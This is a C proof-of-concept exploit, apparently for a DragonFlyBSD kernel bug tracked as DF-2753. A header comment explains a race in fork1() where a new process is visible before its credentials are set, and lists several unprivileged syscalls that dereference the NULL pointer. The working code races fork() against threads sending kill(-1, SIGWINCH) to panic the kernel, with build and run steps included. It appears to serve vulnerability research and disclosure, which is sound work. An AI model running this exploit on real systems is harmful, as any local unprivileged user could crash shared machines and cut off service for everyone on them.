/*
 * DF-2753 -- DragonFlyBSD kernel NULL-pointer-deref panic (local, unprivileged)
 * ==========================================================================
 *
 * BUG: fork1() (sys/kern/kern_fork.c) publishes the embryonic SIDL child to
 * the allproc list + pid hash at line 491 (proc_add_allproc) BEFORE
 * initializing it:
 *
 *      kern_fork.c:491   proc_add_allproc(p2);            <- visible, in pidhash
 *      kern_fork.c:496   bcopy(&p1->p_startcopy, ...)     <- p2->p_pgrp set here
 *      kern_fork.c:509   p2->p_ucred = crhold(...)        <- p2->p_ucred set here
 *
 * pfind() (kern_proc.c:502) and allproc_scan() (kern_proc.c:1401) filter only
 * SZOMB, not SIDL.  kill(-1, sig) walks allproc via allproc_scan() ->
 * killpg_all_callback() (kern_sig.c:714) -> CANSIGNAL() -> p_trespass(cr1,
 * p->p_ucred) (kern_prot.c:1023).  With p->p_ucred == NULL:
 *
 *   - unjailed attacker: PRISON_CHECK short-circuits (cr_prison==NULL), then
 *     caps_get(NULL, SYSCAP_RESTRICTEDROOT) (kern_prot.c:1038) derefs NULL.
 *   - jailed attacker: PRISON_CHECK itself does (NULL)->cr_prison.
 *
 * -> Fatal trap 12: page fault while in kernel mode, VA ~0x0.
 *
 * Same-class sinks (all unprivileged, no token held before deref):
 *   getsid(pid)                 kern_prot.c:153  pt->p_session->s_sid
 *                               (p_session == p_pgrp->pg_session, proc.h:344;
 *                                p_pgrp NULL until the bcopy at kern_fork.c:496)
 *   sched_getscheduler(pid) & friends
 *                               kern_p1003_1b.c:151 CAN_AFFECT -> p_ucred->cr_ruid
 *   ptrace(PT_ATTACH, pid)      sys_process.c:153 PRISON_CHECK (jailed)
 *   sysctl kern.proc.pid.<pid>  kern_proc.c:1690 PRISON_CHECK (jailed)
 *
 * PoC STRATEGY: one thread forks in a tight loop (children _exit(0)
 * immediately); several threads spray kill(-1, SIGWINCH) (SIGWINCH default
 * action is Ignore, so nothing is harmed -- the panic happens inside the
 * permission check BEFORE any signal is delivered).  Each fork() exposes a
 * ~0.4us window per embryonic proc; each kill(-1) scan derefs p_ucred of
 * every proc on the machine.  On an SMP guest this hits within seconds.
 *
 * Build:  cc -O2 -Wall -pthread -o sidl_race sidl_race.c
 * Run:    ./sidl_race [seconds] [kill_threads]
 * Success criterion: kernel panic "Fatal trap 12: page fault while in kernel
 * mode" with fault VA < PAGE_SIZE (serial console / vm.sh log); ssh dies.
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>

static volatile sig_atomic_t stop = 0;
static volatile unsigned long n_forks = 0, n_kills = 0, n_reaped = 0;

static void *
forker(void *arg)
{
	pid_t pid;

	while (!stop) {
		pid = fork();
		if (pid == 0)
			_exit(0);		/* child: vanish immediately */
		if (pid > 0)
			n_forks++;
		/* opportunistic reap to stay under nprocs limits */
		while (waitpid(-1, NULL, WNOHANG) > 0)
			n_reaped++;
	}
	return (NULL);
}

static void *
reaper(void *arg)
{
	while (!stop) {
		while (waitpid(-1, NULL, WNOHANG) > 0)
			n_reaped++;
		usleep(200);
	}
	return (NULL);
}

/*
 * kill(-1, sig): broadcast scan of every process.  SIGWINCH is ignored by
 * default everywhere, so the only effect is exercising CANSIGNAL() on every
 * proc on the system -- including any embryonic SIDL proc sitting in the
 * kern_fork.c:491->509 window with p_ucred == NULL.
 */
static void *
killer(void *arg)
{
	while (!stop) {
		kill(-1, SIGWINCH);
		n_kills++;
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	int seconds = (argc > 1) ? atoi(argv[1]) : 60;
	int nkill = (argc > 2) ? atoi(argv[2]) : 4;
	pthread_t tf, tr, tk[16];
	int i;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("DF-2753 SIDL race: %d s, %d killer threads, pid %d\n",
	    seconds, nkill, (int)getpid());

	pthread_create(&tf, NULL, forker, NULL);
	pthread_create(&tr, NULL, reaper, NULL);
	for (i = 0; i < nkill; i++)
		pthread_create(&tk[i], NULL, killer, NULL);

	for (i = 0; i < seconds; i++) {
		sleep(1);
		printf("t=%2d  forks=%lu kills=%lu reaped=%lu\n",
		    i + 1, n_forks, n_kills, n_reaped);
	}
	stop = 1;
	sleep(1);
	printf("SURVIVED: forks=%lu kills=%lu reaped=%lu (no panic)\n",
	    n_forks, n_kills, n_reaped);
	return (0);
}
